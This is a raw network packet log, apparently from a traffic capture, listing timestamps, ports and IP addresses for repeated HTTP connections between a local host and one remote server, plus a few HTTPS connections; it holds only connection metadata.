Nov 23, 2024 01:14:33.200668097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.200711012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.200754881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.201577902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.201689959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.201725960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.201771975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.202548981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.202600002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.202641010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.202682018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.203496933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.203562021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.203602076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.203650951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.204482079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.204554081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.204595089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.204643965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.205462933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.205512047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.205578089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.205620050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.206399918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.206501007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.206552029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.207367897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.207463026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.207477093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.207551003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.208347082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.208404064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.208445072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.208611965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.209306955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.209362984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.209412098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.209454060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.210268021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.210320950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.210365057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.210460901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.211249113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.211314917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.211378098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.211519957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.212224007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.212302923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.212320089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.212368011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.213167906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.213222980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.213262081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.213355064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.214153051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.214204073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.214296103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.214415073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.215123892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.215178013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.215217113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.215260983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.216089010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.216144085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.216185093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.216265917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.217065096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.217112064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.217185020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.217227936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.218060017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.218110085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.218112946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.218149900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.218996048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.219044924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.219115019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.219158888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.219944000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.219991922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.220046043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.220086098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.220952034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.221002102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.221046925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.221090078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.221900940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.221956968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.222002983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.222079992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.222888947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.222945929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.223011017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.223051071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.223836899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.223891973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.223964930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.224080086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.224822044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.224900007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.224951029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.224994898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.225788116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.225831985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.225897074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.226022959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.226775885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.226824045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.226860046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.226907015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.227718115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.227763891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.227837086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.227879047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.228679895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.228792906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.228794098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.228833914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.229657888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.229713917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.229764938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.229841948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.230626106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.230680943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.230722904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.230885983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.231591940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.231648922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.231692076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.231733084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.232563972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.232631922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.232676983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.232723951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.233539104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.233647108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.233664036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.233764887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.234512091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.234571934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.234613895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.234705925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.235510111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.235568047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.235619068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.235657930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.236457109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.236485004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.236526012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.237430096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.237447023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.237487078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.237515926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.238399029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.238446951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.238517046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.238517046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.239355087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.239427090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.239471912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.239576101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.240315914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.240371943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.240417957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.240611076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.241285086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.241362095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.241380930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.241420984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.242248058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.242350101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.242352962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.242563009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.243223906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.243277073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.243325949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.243370056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.244204998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.244262934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.244294882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.244393110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.245161057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.245204926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.245245934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.245297909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.246129036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.246186972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.246229887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.246321917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.247091055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.247142076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.247189045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.247355938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.248003006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.248059034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.337836981 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:33.337934971 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:33.338023901 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:33.338290930 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:33.338335991 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:33.398252010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.398303986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.398313046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.398343086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.398561954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.398617029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.398703098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.398741961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.399529934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.399581909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.399599075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.399616957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.400527000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.400589943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.400619984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.400661945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.401484013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.401686907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.401806116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.401844025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.402450085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.402502060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.402520895 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:33.402534008 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:33.402543068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.402601004 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:33.402631998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.403418064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.403489113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.403516054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.403558969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.404266119 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:33.404278994 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:33.404375076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.404433012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.404501915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.404584885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.405356884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.405447006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.405448914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.405487061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.406306982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.406429052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.406434059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.406497955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.407293081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.407334089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.407383919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.407521963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.408277035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.408370018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.408390999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.408541918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.409246922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.409336090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.409353018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.409384012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.410195112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.410300970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.410348892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.411159039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.411206007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.411266088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.411469936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.412137985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.412199974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.412218094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.412275076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.413115978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.413184881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.413213968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.413253069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.414146900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.414223909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.414242983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.414279938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.415030956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.415132999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.415142059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.415213108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.416009903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.416088104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.416090965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.416125059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.416982889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.417042017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.417078018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.417119026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.417944908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.418010950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.418078899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.418118954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.418939114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.419009924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.419070005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.419239998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.419893980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.419950962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.419991016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.420032024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.420845032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.420933962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.420965910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.420980930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.421840906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.421885967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.421928883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.421967983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.422797918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.422852039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.422894001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.422929049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.423758984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.423830986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.423871040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.423911095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.424738884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.424789906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.424802065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.424825907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.425707102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.425771952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.425813913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.425853968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.426681042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.426745892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.426780939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.426821947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.427638054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.427695036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.427736044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.427777052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.428601980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.428646088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.428705931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.428777933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.429564953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.429660082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.429696083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.429743052 CET	49760	80	192.168.2.5	185.215.113.206
